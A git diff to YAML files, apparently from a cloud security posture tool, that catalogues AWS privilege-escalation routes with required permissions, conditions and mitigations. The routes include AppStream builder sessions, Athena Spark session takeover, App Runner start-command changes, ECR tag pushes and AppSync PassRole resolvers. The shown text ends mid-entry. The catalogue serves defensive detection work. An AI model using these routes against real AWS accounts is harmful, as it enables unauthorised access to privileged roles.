a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_role_overclaim_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_scoped_role_overclaim_20261016.yaml @@ -40,7 +40,9 @@ source_revision: 3ad99dc7ac technique: aws-s3-accessgrants-passrole-location-getdataaccess reason: GetDataAccess vends credentials restricted by an S3 grant session policy; modeling the full passed IAM - role as reached overstates the target permissions. + role as reached overstates the target permissions. AWS confines the returned session to the granted S3 + bucket, prefix or object. The separate aws-s3-accessgrants-self-grant route models a verified new READ + permission on that bounded scope without claiming the location role's other permissions. - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballcreatejob--iampassrole--create-a-physical-s3-export-through-a-privileged-role technique: aws-snowball-passrole-createjob reason: The passed role is used only for a physical S3 export job; the source receives data, not the role identity @@ -51,5 +53,8 @@ or IAM permissions. - source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statessendtasksuccess--inject-callback-output-into-a-privileged-next-state technique: aws-stepfunctions-activity-callback-output-injection - reason: A forged callback can influence one workflow branch, but the entry does not prove access to the execution - role credentials or new effective principal permissions. + reason: GetActivityTask can supply a live token and SendTaskSuccess can inject output, + but a role edge needs the exact execution, state-machine definition and dataflow + proving that the controlled output reaches a sensitive downstream AWS action + under a named execution role. A fixed business branch alone does not grant + that role's credentials or all its permissions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sts_federation_tokens_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sts_federation_tokens_20261022.yaml new file mode 100644 index 0000000000..9ba80ad234 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_sts_federation_tokens_20261022.yaml @@ -0,0 +1,9 @@ +# Federation API grants alone do not prove control of a usable external assertion. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithsaml + source_revision: 582f48435f + technique: Assume an IAM role using a controlled SAML assertion + reason: A role trust for a SAML provider does not show that the source can obtain or sign an unexpired assertion for the exact role and principal. A usable edge needs the assertion issuer, audience, role claim, source control and trust-condition joins; these are not collected from AWS IAM permissions alone. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithwebidentity + source_revision: 582f48435f + technique: Assume an IAM role using a controlled web identity token + reason: Web identity role trust alone does not prove possession of a valid token with the exact issuer, audience and subject. A usable edge needs token control, freshness, matching provider and trust conditions and any pod or workload access proof; these are not inferable from IAM permission inventory alone. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml index 7a929025b5..7674157b4e 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_studio_space_strict_reaudit_20261016.yaml @@ -2,7 +2,11 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-sagemaker-studio source_revision: b587e6bd26 technique: Attach a controlled Studio lifecycle configuration to an existing space - reason: No sagemaker_space host or space-to-execution-role mapping is collected; via_resource_type - cannot identify the exact target role and the entry explicitly falls back to any role trusting - SageMaker. + reason: The space inventory now joins a collected space ARN, app type, sharing type and + owner to either the domain's shared-space role or the private owner's profile role. + An executable edge still needs a creatable lifecycle configuration of the matching + app type, UpdateSpace authorization for that exact space and a compatible later app + start. Until those configuration and startup conditions are checked, the role mapping + alone does not prove script execution. A generic SageMaker trust relationship cannot + substitute for any of these joins. prior_id: aws-sagemaker-attach-studio-lifecycle-config-space diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml index 04ddc1c111..bcca7f8559 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_host_join_strict_reaudit_20261016.yaml @@ -7,34 +7,6 @@ evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the source operation reaches. prior_id: aws-flink-updateapplication-code -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#studio-presigned-url-to-zeppelin-execution - source_revision: 171e422299 - technique: Open a running Managed Flink Studio notebook through a presigned URL - reason: The kinesisanalytics_application resource-to-role attachment is not loaded by the AWS - evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the - exact role that the source operation reaches. - prior_id: aws-flink-studio-presigned-url -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenastartcalculationexecution--execute-code-in-an-existing-spark-session - source_revision: 171e422299 - technique: Submit a calculation to an existing Athena Spark session - reason: The athena_workgroup resource-to-role attachment is not loaded by the AWS evaluator - (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role - that the source operation reaches. - prior_id: aws-athena-startcalculationexecution-existing-session -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenagetsessionendpoint--take-over-an-active-spark-connect-session - source_revision: 171e422299 - technique: Obtain the Spark Connect endpoint and token of an active Athena Spark session - reason: The athena_workgroup resource-to-role attachment is not loaded by the AWS evaluator - (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role - that the source operation reaches. - prior_id: aws-athena-getsessionendpoint-spark-connect -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenacreatepresignednotebookurl--take-over-a-running-spark-notebook - source_revision: 171e422299 - technique: Mint a presigned URL for a running Athena Spark notebook - reason: The athena_workgroup resource-to-role attachment is not loaded by the AWS evaluator - (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role - that the source operation reaches. - prior_id: aws-athena-createpresignednotebookurl - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-stored-query-privesc/README.md#athenaupdatenotebook--poison-a-spark-notebook-executed-later source_revision: 171e422299 technique: Replace the cells of an Athena Spark notebook that is executed later @@ -42,34 +14,6 @@ (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the source operation reaches. prior_id: aws-athena-updatenotebook-poison -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gameliftstreamscreatestreamsessionadminshell-on-a-session-with-a-role - source_revision: 6fb9ac51fd - technique: Open an admin shell in a live stream session that has a role - reason: The gameliftstreams_stream_session resource-to-role attachment is not loaded by the - AWS evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify - the exact role that the source operation reaches. - prior_id: aws-gameliftstreams-createstreamsessionadminshell -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreatestreamingurl--enter-an-existing-fleet-under-its-machine-role - source_revision: 6fb9ac51fd - technique: Open a streaming session on an existing fleet that has an IAM role - reason: The appstream_fleet resource-to-role attachment is not loaded by the AWS evaluator (absent - from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the - source operation reaches. - prior_id: aws-appstream-createstreamingurl-existing-fleet -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilderstreamingurl--administratorroot-access-to-an-existing-builder - source_revision: 6fb9ac51fd - technique: Connect to an existing image builder that has an IAM role - reason: The appstream_image_builder resource-to-role attachment is not loaded by the AWS evaluator - (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role - that the source operation reaches. - prior_id: aws-appstream-createimagebuilderstreamingurl -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateappblockbuilderstreamingurl--take-over-an-existing-app-package-builder - source_revision: 6fb9ac51fd - technique: Connect to an existing app block builder that has an IAM role - reason: The appstream_app_block_builder resource-to-role attachment is not loaded by the AWS - evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the - exact role that the source operation reaches. - prior_id: aws-appstream-createappblockbuilderstreamingurl - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamupdatefleet--replace-an-existing-fleet-image-while-retaining-its-role source_revision: 6fb9ac51fd technique: Replace an existing AppStream fleet image or session-script archive while retaining @@ -106,26 +50,22 @@ (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the source operation reaches. prior_id: aws-ssm-exec-hybrid-managed-node -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#elasticmapreduceaddjobflowsteps--execute-as-an-existing-cluster-instance-profile - source_revision: 171e422299 - technique: Add steps to an existing EMR cluster - reason: The emr_cluster resource-to-role attachment is not loaded by the AWS evaluator (absent - from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the - source operation reaches. - prior_id: aws-emr-addjobflowsteps - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#dry-run-replacement-code--passrole source_revision: 171e422299 technique: Dry-run replacement canary code under the canary's execution role - reason: The synthetics_canary resource-to-role attachment is not loaded by the AWS evaluator - (absent from HOST_KIND); service trust or a guessed resource cannot identify the exact role - that the source operation reaches. + reason: The collector and evaluator now join each named synthetics_canary to its recorded + ExecutionRoleArn. The dry-run route still needs an exact supported runtime, generated + Lambda function and code-layer permission join before its caller can be shown to execute + replacement code as that role; a named canary and PassRole alone are insufficient. prior_id: aws-synthetics-startcanarydryrun-replacement-code - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statesupdatestatemachine--not-always-required-iampassrole source_revision: 171e422299 technique: Modify the definition of an existing state machine keeping its role - reason: The stepfunctions_state_machine resource-to-role attachment is not loaded by the AWS - evaluator (absent from HOST_KIND); service trust or a guessed resource cannot identify the - exact role that the source operation reaches. + reason: The collector records each state machine's exact roleArn, stateMachineArn, status and + type; the active PassRole route checks an update and execution on one machine. A separate + definition-only route without PassRole remains unproven because the AWS service authorization + reference lists iam:PassRole as a dependent action for UpdateStateMachine even though roleArn + is optional in the request. Do not infer this variant from update permission alone. prior_id: aws-stepfunctions-updatestatemachine-existing-role - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkcreateapplicationversion-elasticbeanstalkupdateenvironment-cloudformationgettemplate-cloudformationdescribestackresources-cloudformationdescribestackresource-autoscalingdescribeautoscalinggroups-autoscalingsuspendprocesses source_revision: 171e422299 @@ -144,9 +84,14 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mainframe-modernization-privesc/README.md#m2updateapplication---store-a-malicious-application-version-for-later-deployment source_revision: b587e6bd26 technique: Deploy a modified M2 application version under its existing role - reason: The m2_application resource-to-role attachment is not loaded by the AWS evaluator (absent - from HOST_KIND); service trust or a guessed resource cannot identify the exact role that the - source operation reaches. + reason: 'UpdateApplication creates a stored application version without changing its roleArn + or deploying it. A principal-to-principal route requires an exact existing application and + its GetApplication roleArn, a valid attacker-controlled definition or executable artifact, + a later CreateDeployment of that version to an eligible runtime environment, and a start + when needed. The later deployment must be observed or authorized to the same caller; do not + infer it from UpdateApplication alone. The AWS evaluator collects no m2_application facts or + version-to-deployment-to-role join, so service trust or an application name cannot identify + a reachable role.' prior_id: aws-m2-updateapplication-deploy-existing-role - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#aws---agentcore-harness-rce-via-indirect-prompt-injection source_revision: b587e6bd26 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml index be276814df..9938f21a7c 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_uncollected_service_join_final_reaudit_20261016.yaml @@ -13,20 +13,6 @@ HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. The attached resource ARN and action coverage cannot be proven. prior_id: aws-amplify-updatebranch-startjob -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerupdateservice - source_revision: 6fb9ac51fd - technique: Update an existing App Runner service that has an instance role - reason: The apprunner resource-to-role attachment is not loaded by the AWS evaluator (absent from - HOST_KIND), so service-role trust cannot identify the exact role reached by the source action. - The attached resource ARN and action coverage cannot be proven. - prior_id: aws-apprunner-updateservice -- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#batchsubmitjob - source_revision: 6fb9ac51fd - technique: Submit a job using an existing job definition with a job role - reason: The ecs resource-to-role attachment is not loaded by the AWS evaluator (absent from HOST_KIND), - so service-role trust cannot identify the exact role reached by the source action. The attached - resource ARN and action coverage cannot be proven. - prior_id: aws-batch-submitjob-existing-definition - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock-agentcorestartcodeinterpretersession--bedrock-agentcoreinvokecodeinterpreter---code-interpreter-execution-role-pivot source_revision: 6fb9ac51fd technique: Run code in an existing AgentCore Code Interpreter with an execution role @@ -44,9 +30,7 @@ - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsexecutecommand-ecsdescribetasks-and-optionally-a-task-launching-action source_revision: 171e422299 technique: Execute commands in a running ECS task with ECS Exec - reason: The ecs resource-to-role attachment is not loaded by the AWS evaluator (absent from HOST_KIND), - so service-role trust cannot identify the exact role reached by the source action. The attached - resource ARN and action coverage cannot be proven. + reason: The old unjoined route is replaced by active aws-ecs-executecommand, which requires a running task, exact task role, ready per-container Exec agent, cluster and task authorization, and task-role SSM channel permissions. prior_id: aws-ecs-executecommand - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#hijack-ecs-scheduling-via-malicious-capacity-provider-ec2-asg-takeover source_revision: 171e422299 diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_verify_a66f.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_verify_a66f.yaml index b4873cf2c1..f62ce532a2 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_verify_a66f.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_verify_a66f.yaml @@ -37,8 +37,7 @@ source_revision: a66f094ede - source: src/pentesting-cloud/aws-security/aws-persistence/aws-appstream-persistence/README.md#appstreamupdatefleet--s3--recurring-system-session-scripts-on-an-existing-elastic-fleet technique: '`appstream:UpdateFleet` + S3 — recurring SYSTEM session scripts on an existing Elastic fleet' - reason: The same UpdateFleet permission and existing fleet role are modeled by aws-appstream-updatefleet-image-swap; - the persistence page supplies the session-script S3 variant and its trigger conditions. + reason: This session-script variant is not represented by an active role route. It needs an exact Elastic fleet, writable S3 script object, fleet role and later session trigger before execution under that role can be inferred. source_revision: a66f094ede - source: src/pentesting-cloud/aws-security/aws-persistence/aws-athena-result-redirection-persistence/README.md#athenaupdateworkgroup--redirect-future-query-results-to-attacker-readable-s3 technique: '`athena:UpdateWorkGroup` — Redirect future query results to attacker-readable S3' diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/amplify.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/amplify.yaml index a43bab78fd..aa4f31618c 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/amplify.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/amplify.yaml @@ -10,20 +10,16 @@ - id: aws-amplify-updateapp-passrole provider: aws service: amplify - title: Repoint an Amplify app's service or compute role to a passed role and build it + title: Assign a passed service role to an Amplify app build source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifyupdateapp--iampassrole--repoint-the-app-onto-a-more-privileged-role source_revision: 171e422299 - summary: The source can obtain the privileges of passable roles trusting amplify.amazonaws.com by assigning them as an app's service (build) or compute role and running code under them. + summary: The source may cause a controlled Amplify build or backend deployment to perform an operation with a passable service role if it can update the app, start a branch job and control the effective operation. requires: all_of: - action: iam:PassRole resource: "{target.arn}" request_context: iam:PassedToService: amplify.amazonaws.com - - action: amplify:UpdateApp - resource: "*" - - action: amplify:StartJob - resource: "*" target: kind: aws_role selector: @@ -32,6 +28,8 @@ scope: same_account aggregate_as: "Roles trusting amplify.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - amplify_service_role_build_effect_unverified conditions: - id: passrole_condition_key description: iam:PassedToService conditions on the PassRole grant may restrict passing roles to Amplify. @@ -45,7 +43,7 @@ references: - https://docs.aws.amazon.com/amplify/latest/APIReference/API_UpdateApp.html - https://docs.aws.amazon.com/amplify/latest/userguide/amplify-SSR-compute-role.html - notes: The source needs at least one existing app it can update (amplify:UpdateApp on that app). Both iamServiceRoleArn and computeRoleArn require iam:PassRole on the target role. + notes: The source needs at least one existing app it can update (amplify:UpdateApp on that app). Both iamServiceRoleArn and computeRoleArn require iam:PassRole on the target role. A build command alone does not establish that it received the service role's credentials. A concrete edge requires fresh reviewed evidence that the effective controlled build or backend operation actually ran a useful action under the exact role; repository amplify.yml may override app buildSpec. - id: aws-amplifybackend-createtoken-studio-admin provider: aws @@ -92,8 +90,6 @@ resource: '{target.arn}' request_context: iam:PassedToService: amplify.amazonaws.com - - action: amplify:UpdateApp - resource: '*' target: kind: aws_role selector: @@ -102,6 +98,8 @@ scope: same_account aggregate_as: Roles trusting amplify.amazonaws.com passable in {account} outcome: workload_execution + preconditions: + - amplify_compute_role_ssr_effect_unverified conditions: - id: controlled_ssr description: The existing app must deploy attacker-controlled SSR code and an HTTP request must reach that SSR route under the new compute role. @@ -113,4 +111,4 @@ references: - https://docs.aws.amazon.com/amplify/latest/APIReference/API_UpdateApp.html - https://docs.aws.amazon.com/amplify/latest/userguide/amplify-SSR-compute-role.html - notes: No StartJob is needed for the SSR request; the route, deployed code and app-to-role association must be observed or UNKNOWN. + notes: No StartJob is needed for the SSR request. A concrete edge requires fresh reviewed evidence that controlled SSR code received a request and ran a useful action under the exact compute role; otherwise the route remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/apprunner.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/apprunner.yaml index f1d1ca178a..ac91599fcb 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/apprunner.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/apprunner.yaml @@ -83,6 +83,69 @@ references: - https://docs.aws.amazon.com/apprunner/latest/api/API_UpdateService.html notes: Companion of aws-apprunner-updateservice (keeps the existing role, no PassRole). UpdateService cannot switch a code-based service to an image; code-based services need a separately verified attacker-controlled code or start-command path. +- id: aws-apprunner-updateservice + provider: aws + service: apprunner + title: Change the start command of a service with an existing instance role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerupdateservice + source_revision: 6fb9ac51fd + summary: The source can change the start command of an existing image-based App Runner service that runs with the target role. + requires: + all_of: + - action: apprunner:UpdateService + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + outcome: workload_execution + preconditions: + - apprunner_existing_instance_role_update + conditions: + - id: deployment_execution + description: The updated service must successfully deploy and run the chosen start command. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit App Runner UpdateService to trusted deployment operators for services with privileged instance roles. + references: + - https://docs.aws.amazon.com/apprunner/latest/api/API_UpdateService.html + notes: This route keeps the existing instance role; no new role is passed. The recorded DescribeService response must bind InstanceRoleArn to the exact image service. Code-based services need a separately verified controlled command path. + +- id: aws-apprunner-mutable-ecr-autodeploy + provider: aws + service: apprunner + title: Push a replacement image to a watched App Runner tag + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#mutable-private-ecr-tag-with-automatic-deployments + source_revision: 1098b391c4 + summary: The source can publish a new image to the exact private ECR tag that an existing App Runner service automatically deploys with the target instance role. + requires: + all_of: + - action: ecr:GetAuthorizationToken + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: tasks.apprunner.amazonaws.com + scope: same_account + outcome: workload_execution + preconditions: + - apprunner_mutable_ecr_autodeploy_instance_role + conditions: + - id: next_deployment + description: The source must actually push a runnable image to the watched tag and App Runner must successfully deploy it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ECR image-push permissions on repositories watched by App Runner and use immutable tags or manual deployments for privileged services. + references: + - https://docs.aws.amazon.com/apprunner/latest/dg/manage-deploy.html + - https://docs.aws.amazon.com/AmazonECR/latest/userguide/image-push-iam.html + notes: The source does not need App Runner or PassRole permissions. The same-account private ECR tag, auto-deployment flag, effective tag mutability or permission to change it, image-push permissions and instance role must all join exactly. + - id: aws-apprunner-plaintext-credential provider: aws service: apprunner diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml index ed66277efb..ef468df9bd 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appstream.yaml @@ -8,6 +8,100 @@ # Source: hacktricks-cloud aws-appstream-privesc/README.md (rev 171e422299). # Existing-resource updates use collected fleet and builder state and associations. +- id: aws-appstream-createimagebuilderstreamingurl + provider: aws + service: appstream + title: Open a session on an image builder with an existing IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilderstreamingurl--administratorroot-access-to-an-existing-builder + source_revision: 6fb9ac51fd + summary: A principal allowed to connect to a running image builder may use its recorded machine role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Roles attached to running image builders in {account} + outcome: workload_execution + preconditions: + - appstream_existing_image_builder_role_session + conditions: + - id: desktop_execution + description: The desktop session must permit using the image builder's machine role profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict CreateImageBuilderStreamingURL to approved builders and avoid attaching powerful roles to them. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_ImageBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilderStreamingURL.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: The evaluator joins a RUNNING image builder to its exact IamRoleArn and requires CreateImageBuilderStreamingURL on that builder ARN. + +- id: aws-appstream-createappblockbuilderstreamingurl + provider: aws + service: appstream + title: Open a session on an app block builder with an existing IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateappblockbuilderstreamingurl--take-over-an-existing-app-package-builder + source_revision: 6fb9ac51fd + summary: A principal allowed to connect to a running app block builder may use its recorded machine role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Roles attached to running app block builders in {account} + outcome: workload_execution + preconditions: + - appstream_existing_app_block_builder_role_session + conditions: + - id: desktop_execution + description: The desktop session must permit using the app block builder's machine role profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict CreateAppBlockBuilderStreamingURL to approved builders and avoid attaching powerful roles to them. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_AppBlockBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlockBuilderStreamingURL.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: The evaluator joins a RUNNING app block builder to its exact IamRoleArn and requires CreateAppBlockBuilderStreamingURL on that builder ARN. + +- id: aws-appstream-createstreamingurl-existing-fleet + provider: aws + service: appstream + title: Open a desktop session on a fleet with an existing IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreatestreamingurl--enter-an-existing-fleet-under-its-machine-role + source_revision: 6fb9ac51fd + summary: A principal allowed to open a desktop session on an existing fleet may use that fleet's exact machine role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Roles attached to streamable desktop fleets in {account} + outcome: workload_execution + preconditions: + - appstream_existing_fleet_role_session + conditions: + - id: desktop_execution + description: The desktop session must permit running an application or script that can use the fleet role profile. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict CreateStreamingURL to approved fleets and avoid attaching powerful roles to desktop fleets. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateStreamingURL.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_Fleet.html + - https://docs.aws.amazon.com/appstream2/latest/developerguide/how-to-use-iam-role-with-streaming-instances.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_appstream.html + notes: The evaluator joins a running DESKTOP fleet to its recorded IamRoleArn and an associated stack, requires available capacity and CreateStreamingURL on that fleet ARN, and returns a conditional role reach. No PassRole or fleet mutation is required. + - id: aws-appstream-passrole-createimagebuilder-createfleet provider: aws service: appstream diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/appsync.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/appsync.yaml index db2a995f23..e8cd5250b6 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/appsync.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/appsync.yaml @@ -6,3 +6,48 @@ # AWS AppSync privilege escalation techniques. # Source: hacktricks-cloud aws-appsync-privesc/README.md (rev 171e422299). + +- id: aws-appsync-passrole-new-api-sigv4 + provider: aws + service: appsync + title: Use a passed role through a new AppSync HTTP resolver + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsynccreatedatasource-iampassrole--drive-an-arbitrary-role-through-a-graphql-field + source_revision: 171e422299 + summary: The source can create a GraphQL API and an IAM-signed HTTP resolver that calls AWS APIs using the passed role. + requires: + all_of: + - action: appsync:CreateGraphqlApi + resource: '*' + - action: appsync:StartSchemaCreation + resource: '*' + - action: appsync:CreateDataSource + resource: '*' + - action: appsync:CreateResolver + resource: '*' + - action: appsync:CreateApiKey + resource: '*' + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: appsync.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: appsync.amazonaws.com + scope: same_account + outcome: workload_execution + preconditions: + - appsync_new_api_global_setup + conditions: + - id: graphql_execution + description: The new schema, HTTP data source and resolver must be created successfully, and a field invocation must reach the signed AWS endpoint. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit iam:PassRole to exact AppSync service roles and reserve API and resolver creation for trusted operators. + references: + - https://docs.aws.amazon.com/appsync/latest/APIReference/API_CreateGraphqlApi.html + - https://docs.aws.amazon.com/appsync/latest/APIReference/API_CreateDataSource.html + - https://docs.aws.amazon.com/appsync/latest/APIReference/API_CreateResolver.html + notes: This self-contained route needs wildcard permission for each operation on the new API and creates its own API key. Existing API or resolver variants need separate evidence for a callable field and usable authorization method. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml index f57e303e1f..6721c52476 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/athena.yaml @@ -9,6 +9,99 @@ # Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Athena Spark workgroups carry an # ExecutionRole (trusting athena.amazonaws.com) used by every session, calculation and notebook in the workgroup. +- id: aws-athena-startcalculationexecution-existing-session + provider: aws + service: athena + title: Run code in an existing Athena Spark session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenastartcalculationexecution--execute-code-in-an-existing-spark-session + source_revision: 171e422299 + summary: A caller who can submit calculations to an idle PySpark 3 session may run code with that session's recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of idle Athena Spark sessions in {account} + outcome: workload_execution + preconditions: + - athena_existing_session_calculation_role + conditions: + - id: session_stays_active + description: The recorded session must still be idle when the calculation is submitted. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit StartCalculationExecution to the principals that operate the relevant Spark workgroups, and keep their execution roles least privileged. + references: + - https://docs.aws.amazon.com/athena/latest/APIReference/API_StartCalculationExecution.html + - https://docs.aws.amazon.com/athena/latest/APIReference/API_GetSession.html + - https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-api-list.html + notes: The evaluator joins each listed session to its exact GetSession execution role and requires IDLE state, PySpark engine version 3, and StartCalculationExecution on its workgroup ARN. No PassRole or StartSession grant is required for this existing-session route. + +- id: aws-athena-getsessionendpoint-spark-connect + provider: aws + service: athena + title: Open an existing Athena Spark Connect session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenagetsessionendpoint--take-over-an-active-spark-connect-session + source_revision: 171e422299 + summary: A caller who can mint the endpoint token for an active Spark 3.5 session may control it using its recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of active Athena Spark Connect sessions in 